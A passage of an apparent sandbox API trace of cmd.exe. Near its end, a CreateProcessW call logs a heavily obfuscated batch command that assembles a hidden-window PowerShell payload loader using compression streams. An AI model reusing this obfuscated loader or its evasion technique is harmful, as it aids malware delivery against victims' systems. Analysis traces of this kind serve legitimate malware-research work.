_String2="HIGHESTNUMANODENUMBER") returned -10 [0085.306] GetEnvironmentVariableW (in: lpName="q^X", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.306] _wcsicmp (_String1="q^X", _String2="CD") returned 14 [0085.306] _wcsicmp (_String1="q^X", _String2="ERRORLEVEL") returned 12 [0085.306] _wcsicmp (_String1="q^X", _String2="CMDEXTVERSION") returned 14 [0085.306] _wcsicmp (_String1="q^X", _String2="CMDCMDLINE") returned 14 [0085.306] _wcsicmp (_String1="q^X", _String2="DATE") returned 13 [0085.306] _wcsicmp (_String1="q^X", _String2="TIME") returned -3 [0085.306] _wcsicmp (_String1="q^X", _String2="RANDOM") returned -1 [0085.306] _wcsicmp (_String1="q^X", _String2="HIGHESTNUMANODENUMBER") returned 9 [0085.306] GetEnvironmentVariableW (in: lpName="^olr8", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.306] _wcsicmp (_String1="^olr8", _String2="CD") returned -5 [0085.306] _wcsicmp (_String1="^olr8", _String2="ERRORLEVEL") returned -7 [0085.306] _wcsicmp (_String1="^olr8", _String2="CMDEXTVERSION") returned -5 [0085.307] _wcsicmp (_String1="^olr8", _String2="CMDCMDLINE") returned -5 [0085.307] _wcsicmp (_String1="^olr8", _String2="DATE") returned -6 [0085.307] _wcsicmp (_String1="^olr8", _String2="TIME") returned -22 [0085.307] _wcsicmp (_String1="^olr8", _String2="RANDOM") returned -20 [0085.307] _wcsicmp (_String1="^olr8", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.308] GetEnvironmentVariableW (in: lpName="o^JV", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.308] _wcsicmp (_String1="o^JV", _String2="CD") returned 12 [0085.308] _wcsicmp (_String1="o^JV", _String2="ERRORLEVEL") returned 10 [0085.308] _wcsicmp (_String1="o^JV", _String2="CMDEXTVERSION") returned 12 [0085.309] _wcsicmp (_String1="o^JV", _String2="CMDCMDLINE") returned 12 [0085.309] _wcsicmp (_String1="o^JV", _String2="DATE") returned 11 [0085.309] _wcsicmp (_String1="o^JV", _String2="TIME") returned -5 [0085.309] _wcsicmp (_String1="o^JV", _String2="RANDOM") returned -3 [0085.316] _wcsicmp (_String1="o^JV", _String2="HIGHESTNUMANODENUMBER") returned 7 [0085.316] GetEnvironmentVariableW (in: lpName="^A2", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.316] _wcsicmp (_String1="^A2", _String2="CD") returned -5 [0085.316] _wcsicmp (_String1="^A2", _String2="ERRORLEVEL") returned -7 [0085.316] _wcsicmp (_String1="^A2", _String2="CMDEXTVERSION") returned -5 [0085.316] _wcsicmp (_String1="^A2", _String2="CMDCMDLINE") returned -5 [0085.316] _wcsicmp (_String1="^A2", _String2="DATE") returned -6 [0085.316] _wcsicmp (_String1="^A2", _String2="TIME") returned -22 [0085.316] _wcsicmp (_String1="^A2", _String2="RANDOM") returned -20 [0085.316] _wcsicmp (_String1="^A2", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.316] GetEnvironmentVariableW (in: lpName="cni^h", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.316] _wcsicmp (_String1="cni^h", _String2="CD") returned 10 [0085.317] _wcsicmp (_String1="cni^h", _String2="ERRORLEVEL") returned -2 [0085.317] _wcsicmp (_String1="cni^h", _String2="CMDEXTVERSION") returned 1 [0085.317] _wcsicmp (_String1="cni^h", _String2="CMDCMDLINE") returned 1 [0085.317] _wcsicmp (_String1="cni^h", _String2="DATE") returned -1 [0085.317] _wcsicmp (_String1="cni^h", _String2="TIME") returned -17 [0085.317] _wcsicmp (_String1="cni^h", _String2="RANDOM") returned -15 [0085.317] _wcsicmp (_String1="cni^h", _String2="HIGHESTNUMANODENUMBER") returned -5 [0085.317] GetEnvironmentVariableW (in: lpName="I^G4^Q", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.317] _wcsicmp (_String1="I^G4^Q", _String2="CD") returned 6 [0085.317] _wcsicmp (_String1="I^G4^Q", _String2="ERRORLEVEL") returned 4 [0085.317] _wcsicmp (_String1="I^G4^Q", _String2="CMDEXTVERSION") returned 6 [0085.317] _wcsicmp (_String1="I^G4^Q", _String2="CMDCMDLINE") returned 6 [0085.317] _wcsicmp (_String1="I^G4^Q", _String2="DATE") returned 5 [0085.317] _wcsicmp (_String1="I^G4^Q", _String2="TIME") returned -11 [0085.317] _wcsicmp (_String1="I^G4^Q", _String2="RANDOM") returned -9 [0085.317] _wcsicmp (_String1="I^G4^Q", _String2="HIGHESTNUMANODENUMBER") returned 1 [0085.317] GetEnvironmentVariableW (in: lpName="8^i47", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.317] _wcsicmp (_String1="8^i47", _String2="CD") returned -43 [0085.317] _wcsicmp (_String1="8^i47", _String2="ERRORLEVEL") returned -45 [0085.317] _wcsicmp (_String1="8^i47", _String2="CMDEXTVERSION") returned -43 [0085.317] _wcsicmp (_String1="8^i47", _String2="CMDCMDLINE") returned -43 [0085.317] _wcsicmp (_String1="8^i47", _String2="DATE") returned -44 [0085.317] _wcsicmp (_String1="8^i47", _String2="TIME") returned -60 [0085.317] _wcsicmp (_String1="8^i47", _String2="RANDOM") returned -58 [0085.317] _wcsicmp (_String1="8^i47", _String2="HIGHESTNUMANODENUMBER") returned -48 [0085.317] GetEnvironmentVariableW (in: lpName="c2^Q", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.317] _wcsicmp (_String1="c2^Q", _String2="CD") returned -50 [0085.317] _wcsicmp (_String1="c2^Q", _String2="ERRORLEVEL") returned -2 [0085.317] _wcsicmp (_String1="c2^Q", _String2="CMDEXTVERSION") returned -59 [0085.317] _wcsicmp (_String1="c2^Q", _String2="CMDCMDLINE") returned -59 [0085.318] _wcsicmp (_String1="c2^Q", _String2="DATE") returned -1 [0085.318] _wcsicmp (_String1="c2^Q", _String2="TIME") returned -17 [0085.318] _wcsicmp (_String1="c2^Q", _String2="RANDOM") returned -15 [0085.318] _wcsicmp (_String1="c2^Q", _String2="HIGHESTNUMANODENUMBER") returned -5 [0085.318] GetEnvironmentVariableW (in: lpName="3^C^he", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.318] _wcsicmp (_String1="3^C^he", _String2="CD") returned -48 [0085.318] _wcsicmp (_String1="3^C^he", _String2="ERRORLEVEL") returned -50 [0085.318] _wcsicmp (_String1="3^C^he", _String2="CMDEXTVERSION") returned -48 [0085.318] _wcsicmp (_String1="3^C^he", _String2="CMDCMDLINE") returned -48 [0085.318] _wcsicmp (_String1="3^C^he", _String2="DATE") returned -49 [0085.318] _wcsicmp (_String1="3^C^he", _String2="TIME") returned -65 [0085.318] _wcsicmp (_String1="3^C^he", _String2="RANDOM") returned -63 [0085.318] _wcsicmp (_String1="3^C^he", _String2="HIGHESTNUMANODENUMBER") returned -53 [0085.318] GetEnvironmentVariableW (in: lpName="O^c^W^L", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.318] _wcsicmp (_String1="O^c^W^L", _String2="CD") returned 12 [0085.318] _wcsicmp (_String1="O^c^W^L", _String2="ERRORLEVEL") returned 10 [0085.318] _wcsicmp (_String1="O^c^W^L", _String2="CMDEXTVERSION") returned 12 [0085.318] _wcsicmp (_String1="O^c^W^L", _String2="CMDCMDLINE") returned 12 [0085.318] _wcsicmp (_String1="O^c^W^L", _String2="DATE") returned 11 [0085.318] _wcsicmp (_String1="O^c^W^L", _String2="TIME") returned -5 [0085.318] _wcsicmp (_String1="O^c^W^L", _String2="RANDOM") returned -3 [0085.318] _wcsicmp (_String1="O^c^W^L", _String2="HIGHESTNUMANODENUMBER") returned 7 [0085.318] GetEnvironmentVariableW (in: lpName="^oP8", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.318] _wcsicmp (_String1="^oP8", _String2="CD") returned -5 [0085.318] _wcsicmp (_String1="^oP8", _String2="ERRORLEVEL") returned -7 [0085.319] _wcsicmp (_String1="^oP8", _String2="CMDEXTVERSION") returned -5 [0085.319] _wcsicmp (_String1="^oP8", _String2="CMDCMDLINE") returned -5 [0085.319] _wcsicmp (_String1="^oP8", _String2="DATE") returned -6 [0085.319] _wcsicmp (_String1="^oP8", _String2="TIME") returned -22 [0085.319] _wcsicmp (_String1="^oP8", _String2="RANDOM") returned -20 [0085.319] _wcsicmp (_String1="^oP8", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.319] GetEnvironmentVariableW (in: lpName="DQ", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.319] _wcsicmp (_String1="DQ", _String2="CD") returned 1 [0085.319] _wcsicmp (_String1="DQ", _String2="ERRORLEVEL") returned -1 [0085.319] _wcsicmp (_String1="DQ", _String2="CMDEXTVERSION") returned 1 [0085.319] _wcsicmp (_String1="DQ", _String2="CMDCMDLINE") returned 1 [0085.319] _wcsicmp (_String1="DQ", _String2="DATE") returned 16 [0085.319] _wcsicmp (_String1="DQ", _String2="TIME") returned -16 [0085.319] _wcsicmp (_String1="DQ", _String2="RANDOM") returned -14 [0085.320] _wcsicmp (_String1="DQ", _String2="HIGHESTNUMANODENUMBER") returned -4 [0085.320] GetEnvironmentVariableW (in: lpName="b^HT", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.320] _wcsicmp (_String1="b^HT", _String2="CD") returned -1 [0085.320] _wcsicmp (_String1="b^HT", _String2="ERRORLEVEL") returned -3 [0085.320] _wcsicmp (_String1="b^HT", _String2="CMDEXTVERSION") returned -1 [0085.320] _wcsicmp (_String1="b^HT", _String2="CMDCMDLINE") returned -1 [0085.320] _wcsicmp (_String1="b^HT", _String2="DATE") returned -2 [0085.320] _wcsicmp (_String1="b^HT", _String2="TIME") returned -18 [0085.320] _wcsicmp (_String1="b^HT", _String2="RANDOM") returned -16 [0085.320] _wcsicmp (_String1="b^HT", _String2="HIGHESTNUMANODENUMBER") returned -6 [0085.320] GetEnvironmentVariableW (in: lpName="^ID", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.320] _wcsicmp (_String1="^ID", _String2="CD") returned -5 [0085.320] _wcsicmp (_String1="^ID", _String2="ERRORLEVEL") returned -7 [0085.320] _wcsicmp (_String1="^ID", _String2="CMDEXTVERSION") returned -5 [0085.320] _wcsicmp (_String1="^ID", _String2="CMDCMDLINE") returned -5 [0085.320] _wcsicmp (_String1="^ID", _String2="DATE") returned -6 [0085.320] _wcsicmp (_String1="^ID", _String2="TIME") returned -22 [0085.320] _wcsicmp (_String1="^ID", _String2="RANDOM") returned -20 [0085.320] _wcsicmp (_String1="^ID", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.320] GetEnvironmentVariableW (in: lpName="e5^S", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.320] _wcsicmp (_String1="e5^S", _String2="CD") returned 2 [0085.320] _wcsicmp (_String1="e5^S", _String2="ERRORLEVEL") returned -61 [0085.320] _wcsicmp (_String1="e5^S", _String2="CMDEXTVERSION") returned 2 [0085.320] _wcsicmp (_String1="e5^S", _String2="CMDCMDLINE") returned 2 [0085.320] _wcsicmp (_String1="e5^S", _String2="DATE") returned 1 [0085.320] _wcsicmp (_String1="e5^S", _String2="TIME") returned -15 [0085.320] _wcsicmp (_String1="e5^S", _String2="RANDOM") returned -13 [0085.320] _wcsicmp (_String1="e5^S", _String2="HIGHESTNUMANODENUMBER") returned -3 [0085.321] GetEnvironmentVariableW (in: lpName="p^v", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.321] _wcsicmp (_String1="p^v", _String2="CD") returned 13 [0085.321] _wcsicmp (_String1="p^v", _String2="ERRORLEVEL") returned 11 [0085.321] _wcsicmp (_String1="p^v", _String2="CMDEXTVERSION") returned 13 [0085.321] _wcsicmp (_String1="p^v", _String2="CMDCMDLINE") returned 13 [0085.321] _wcsicmp (_String1="p^v", _String2="DATE") returned 12 [0085.321] _wcsicmp (_String1="p^v", _String2="TIME") returned -4 [0085.321] _wcsicmp (_String1="p^v", _String2="RANDOM") returned -2 [0085.321] _wcsicmp (_String1="p^v", _String2="HIGHESTNUMANODENUMBER") returned 8 [0085.321] GetEnvironmentVariableW (in: lpName="& ,, ^c", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.321] _wcsicmp (_String1="& ,, ^c", _String2="CD") returned -61 [0085.321] _wcsicmp (_String1="& ,, ^c", _String2="ERRORLEVEL") returned -63 [0085.321] _wcsicmp (_String1="& ,, ^c", _String2="CMDEXTVERSION") returned -61 [0085.321] _wcsicmp (_String1="& ,, ^c", _String2="CMDCMDLINE") returned -61 [0085.321] _wcsicmp (_String1="& ,, ^c", _String2="DATE") returned -62 [0085.321] _wcsicmp (_String1="& ,, ^c", _String2="TIME") returned -78 [0085.321] _wcsicmp (_String1="& ,, ^c", _String2="RANDOM") returned -76 [0085.321] _wcsicmp (_String1="& ,, ^c", _String2="HIGHESTNUMANODENUMBER") returned -66 [0085.321] GetEnvironmentVariableW (in: lpName="pROgraMDaTA", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="C:\\ProgramData") returned 0xe [0085.321] wcstol (in: _String=" 9, -4%d, , /%programfILES:~ 7, -8% ,%q4j^:\"\"^=!^pVZ:^~ ^1!%\"\n", _EndPtr=0x16f8b0, _Radix=0 | out: _EndPtr=0x16f8b0*=", -4%d, , /%programfILES:~ 7, -8% ,%q4j^:\"\"^=!^pVZ:^~ ^1!%\"\n") returned 9 [0085.321] wcstol (in: _String=" -4%d, , /%programfILES:~ 7, -8% ,%q4j^:\"\"^=!^pVZ:^~ ^1!%\"\n", _EndPtr=0x16f8b0, _Radix=0 | out: _EndPtr=0x16f8b0*="%d, , /%programfILES:~ 7, -8% ,%q4j^:\"\"^=!^pVZ:^~ ^1!%\"\n") returned -4 [0085.321] GetEnvironmentVariableW (in: lpName="programfILES", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="C:\\Program Files") returned 0x10 [0085.321] wcstol (in: _String=" 7, -8% ,%q4j^:\"\"^=!^pVZ:^~ ^1!%\"\n", _EndPtr=0x16f8b0, _Radix=0 | out: _EndPtr=0x16f8b0*=", -8% ,%q4j^:\"\"^=!^pVZ:^~ ^1!%\"\n") returned 7 [0085.321] wcstol (in: _String=" -8% ,%q4j^:\"\"^=!^pVZ:^~ ^1!%\"\n", _EndPtr=0x16f8b0, _Radix=0 | out: _EndPtr=0x16f8b0*="% ,%q4j^:\"\"^=!^pVZ:^~ ^1!%\"\n") returned -8 [0085.321] GetEnvironmentVariableW (in: lpName="q4j^", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.321] _wcsicmp (_String1="q4j^", _String2="CD") returned 14 [0085.321] _wcsicmp (_String1="q4j^", _String2="ERRORLEVEL") returned 12 [0085.322] _wcsicmp (_String1="q4j^", _String2="CMDEXTVERSION") returned 14 [0085.322] _wcsicmp (_String1="q4j^", _String2="CMDCMDLINE") returned 14 [0085.322] _wcsicmp (_String1="q4j^", _String2="DATE") returned 13 [0085.322] _wcsicmp (_String1="q4j^", _String2="TIME") returned -3 [0085.322] _wcsicmp (_String1="q4j^", _String2="RANDOM") returned -1 [0085.322] _wcsicmp (_String1="q4j^", _String2="HIGHESTNUMANODENUMBER") returned 9 [0085.322] _wcsicmp (_String1="CmD", _String2=")") returned 58 [0085.322] _wcsicmp (_String1="FOR", _String2="CmD") returned 3 [0085.322] _wcsicmp (_String1="FOR/?", _String2="CmD") returned 3 [0085.322] _wcsicmp (_String1="IF", _String2="CmD") returned 6 [0085.322] _wcsicmp (_String1="IF/?", _String2="CmD") returned 6 [0085.322] _wcsicmp (_String1="REM", _String2="CmD") returned 15 [0085.322] _wcsicmp (_String1="REM/?", _String2="CmD") returned 15 [0085.331] GetConsoleTitleW (in: lpConsoleTitle=0x16f950, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.331] _wcsicmp (_String1="CmD", _String2="DIR") returned -1 [0085.331] _wcsicmp (_String1="CmD", _String2="ERASE") returned -2 [0085.332] _wcsicmp (_String1="CmD", _String2="DEL") returned -1 [0085.332] _wcsicmp (_String1="CmD", _String2="TYPE") returned -17 [0085.332] _wcsicmp (_String1="CmD", _String2="COPY") returned -2 [0085.332] _wcsicmp (_String1="CmD", _String2="CD") returned 9 [0085.332] _wcsicmp (_String1="CmD", _String2="CHDIR") returned 5 [0085.332] _wcsicmp (_String1="CmD", _String2="RENAME") returned -15 [0085.332] _wcsicmp (_String1="CmD", _String2="REN") returned -15 [0085.332] _wcsicmp (_String1="CmD", _String2="ECHO") returned -2 [0085.332] _wcsicmp (_String1="CmD", _String2="SET") returned -16 [0085.332] _wcsicmp (_String1="CmD", _String2="PAUSE") returned -13 [0085.332] _wcsicmp (_String1="CmD", _String2="DATE") returned -1 [0085.332] _wcsicmp (_String1="CmD", _String2="TIME") returned -17 [0085.332] _wcsicmp (_String1="CmD", _String2="PROMPT") returned -13 [0085.332] _wcsicmp (_String1="CmD", _String2="MD") returned -10 [0085.332] _wcsicmp (_String1="CmD", _String2="MKDIR") returned -10 [0085.332] _wcsicmp (_String1="CmD", _String2="RD") returned -15 [0085.332] _wcsicmp (_String1="CmD", _String2="RMDIR") returned -15 [0085.332] _wcsicmp (_String1="CmD", _String2="PATH") returned -13 [0085.332] _wcsicmp (_String1="CmD", _String2="GOTO") returned -4 [0085.332] _wcsicmp (_String1="CmD", _String2="SHIFT") returned -16 [0085.332] _wcsicmp (_String1="CmD", _String2="CLS") returned 1 [0085.332] _wcsicmp (_String1="CmD", _String2="CALL") returned 12 [0085.332] _wcsicmp (_String1="CmD", _String2="VERIFY") returned -19 [0085.332] _wcsicmp (_String1="CmD", _String2="VER") returned -19 [0085.332] _wcsicmp (_String1="CmD", _String2="VOL") returned -19 [0085.332] _wcsicmp (_String1="CmD", _String2="EXIT") returned -2 [0085.332] _wcsicmp (_String1="CmD", _String2="SETLOCAL") returned -16 [0085.332] _wcsicmp (_String1="CmD", _String2="ENDLOCAL") returned -2 [0085.332] _wcsicmp (_String1="CmD", _String2="TITLE") returned -17 [0085.332] _wcsicmp (_String1="CmD", _String2="START") returned -16 [0085.332] _wcsicmp (_String1="CmD", _String2="DPATH") returned -1 [0085.332] _wcsicmp (_String1="CmD", _String2="KEYS") returned -8 [0085.333] _wcsicmp (_String1="CmD", _String2="MOVE") returned -10 [0085.333] _wcsicmp (_String1="CmD", _String2="PUSHD") returned -13 [0085.333] _wcsicmp (_String1="CmD", _String2="POPD") returned -13 [0085.333] _wcsicmp (_String1="CmD", _String2="ASSOC") returned 2 [0085.333] _wcsicmp (_String1="CmD", _String2="FTYPE") returned -3 [0085.333] _wcsicmp (_String1="CmD", _String2="BREAK") returned 1 [0085.333] _wcsicmp (_String1="CmD", _String2="COLOR") returned -2 [0085.333] _wcsicmp (_String1="CmD", _String2="MKLINK") returned -10 [0085.333] _wcsicmp (_String1="CmD", _String2="DIR") returned -1 [0085.333] _wcsicmp (_String1="CmD", _String2="ERASE") returned -2 [0085.333] _wcsicmp (_String1="CmD", _String2="DEL") returned -1 [0085.333] _wcsicmp (_String1="CmD", _String2="TYPE") returned -17 [0085.333] _wcsicmp (_String1="CmD", _String2="COPY") returned -2 [0085.333] _wcsicmp (_String1="CmD", _String2="CD") returned 9 [0085.333] _wcsicmp (_String1="CmD", _String2="CHDIR") returned 5 [0085.333] _wcsicmp (_String1="CmD", _String2="RENAME") returned -15 [0085.333] _wcsicmp (_String1="CmD", _String2="REN") returned -15 [0085.333] _wcsicmp (_String1="CmD", _String2="ECHO") returned -2 [0085.333] _wcsicmp (_String1="CmD", _String2="SET") returned -16 [0085.333] _wcsicmp (_String1="CmD", _String2="PAUSE") returned -13 [0085.333] _wcsicmp (_String1="CmD", _String2="DATE") returned -1 [0085.333] _wcsicmp (_String1="CmD", _String2="TIME") returned -17 [0085.333] _wcsicmp (_String1="CmD", _String2="PROMPT") returned -13 [0085.333] _wcsicmp (_String1="CmD", _String2="MD") returned -10 [0085.333] _wcsicmp (_String1="CmD", _String2="MKDIR") returned -10 [0085.333] _wcsicmp (_String1="CmD", _String2="RD") returned -15 [0085.333] _wcsicmp (_String1="CmD", _String2="RMDIR") returned -15 [0085.333] _wcsicmp (_String1="CmD", _String2="PATH") returned -13 [0085.333] _wcsicmp (_String1="CmD", _String2="GOTO") returned -4 [0085.333] _wcsicmp (_String1="CmD", _String2="SHIFT") returned -16 [0085.333] _wcsicmp (_String1="CmD", _String2="CLS") returned 1 [0085.333] _wcsicmp (_String1="CmD", _String2="CALL") returned 12 [0085.333] _wcsicmp (_String1="CmD", _String2="VERIFY") returned -19 [0085.334] _wcsicmp (_String1="CmD", _String2="VER") returned -19 [0085.334] _wcsicmp (_String1="CmD", _String2="VOL") returned -19 [0085.334] _wcsicmp (_String1="CmD", _String2="EXIT") returned -2 [0085.334] _wcsicmp (_String1="CmD", _String2="SETLOCAL") returned -16 [0085.334] _wcsicmp (_String1="CmD", _String2="ENDLOCAL") returned -2 [0085.334] _wcsicmp (_String1="CmD", _String2="TITLE") returned -17 [0085.334] _wcsicmp (_String1="CmD", _String2="START") returned -16 [0085.334] _wcsicmp (_String1="CmD", _String2="DPATH") returned -1 [0085.334] _wcsicmp (_String1="CmD", _String2="KEYS") returned -8 [0085.334] _wcsicmp (_String1="CmD", _String2="MOVE") returned -10 [0085.334] _wcsicmp (_String1="CmD", _String2="PUSHD") returned -13 [0085.335] _wcsicmp (_String1="CmD", _String2="POPD") returned -13 [0085.335] _wcsicmp (_String1="CmD", _String2="ASSOC") returned 2 [0085.335] _wcsicmp (_String1="CmD", _String2="FTYPE") returned -3 [0085.336] _wcsicmp (_String1="CmD", _String2="BREAK") returned 1 [0085.336] _wcsicmp (_String1="CmD", _String2="COLOR") returned -2 [0085.336] _wcsicmp (_String1="CmD", _String2="MKLINK") returned -10 [0085.336] _wcsicmp (_String1="CmD", _String2="FOR") returned -3 [0085.337] _wcsicmp (_String1="CmD", _String2="IF") returned -6 [0085.337] _wcsicmp (_String1="CmD", _String2="REM") returned -15 [0085.340] SetErrorMode (uMode=0x0) returned 0x8001 [0085.340] SetErrorMode (uMode=0x1) returned 0x0 [0085.340] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x19dcd0, lpFilePart=0x16f1e0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x16f1e0*="Desktop") returned 0x19 [0085.340] SetErrorMode (uMode=0x8001) returned 0x1 [0085.341] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0085.341] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0085.341] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0085.342] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0085.342] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\CmD.*", fInfoLevelId=0x1, lpFindFileData=0x16ef50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ef50) returned 0xffffffffffffffff [0085.342] GetLastError () returned 0x2 [0085.342] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\CmD", fInfoLevelId=0x1, lpFindFileData=0x16ef50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ef50) returned 0xffffffffffffffff [0085.342] GetLastError () returned 0x2 [0085.342] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0085.342] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\CmD.*", fInfoLevelId=0x1, lpFindFileData=0x16ef50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ef50) returned 0x19e0b0 [0085.343] FindClose (in: hFindFile=0x19e0b0 | out: hFindFile=0x19e0b0) returned 1 [0085.343] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.COM", fInfoLevelId=0x1, lpFindFileData=0x16ef50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ef50) returned 0xffffffffffffffff [0085.343] GetLastError () returned 0x2 [0085.343] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.EXE", fInfoLevelId=0x1, lpFindFileData=0x16ef50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ef50) returned 0x19e0b0 [0085.343] FindClose (in: hFindFile=0x19e0b0 | out: hFindFile=0x19e0b0) returned 1 [0085.343] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0085.343] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0085.343] GetConsoleTitleW (in: lpConsoleTitle=0x16f4a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.343] InitializeProcThreadAttributeList (in: lpAttributeList=0x16f258, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x16f218 | out: lpAttributeList=0x16f258, lpSize=0x16f218) returned 1 [0085.344] UpdateProcThreadAttribute (in: lpAttributeList=0x16f258, dwFlags=0x0, Attribute=0x60001, lpValue=0x16f208, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x16f258, lpPreviousValue=0x0) returned 1 [0085.344] GetStartupInfoW (in: lpStartupInfo=0x16f370 | out: lpStartupInfo=0x16f370*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0085.344] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1 [0085.345] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="CmD , , /V:On ,,/R \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ 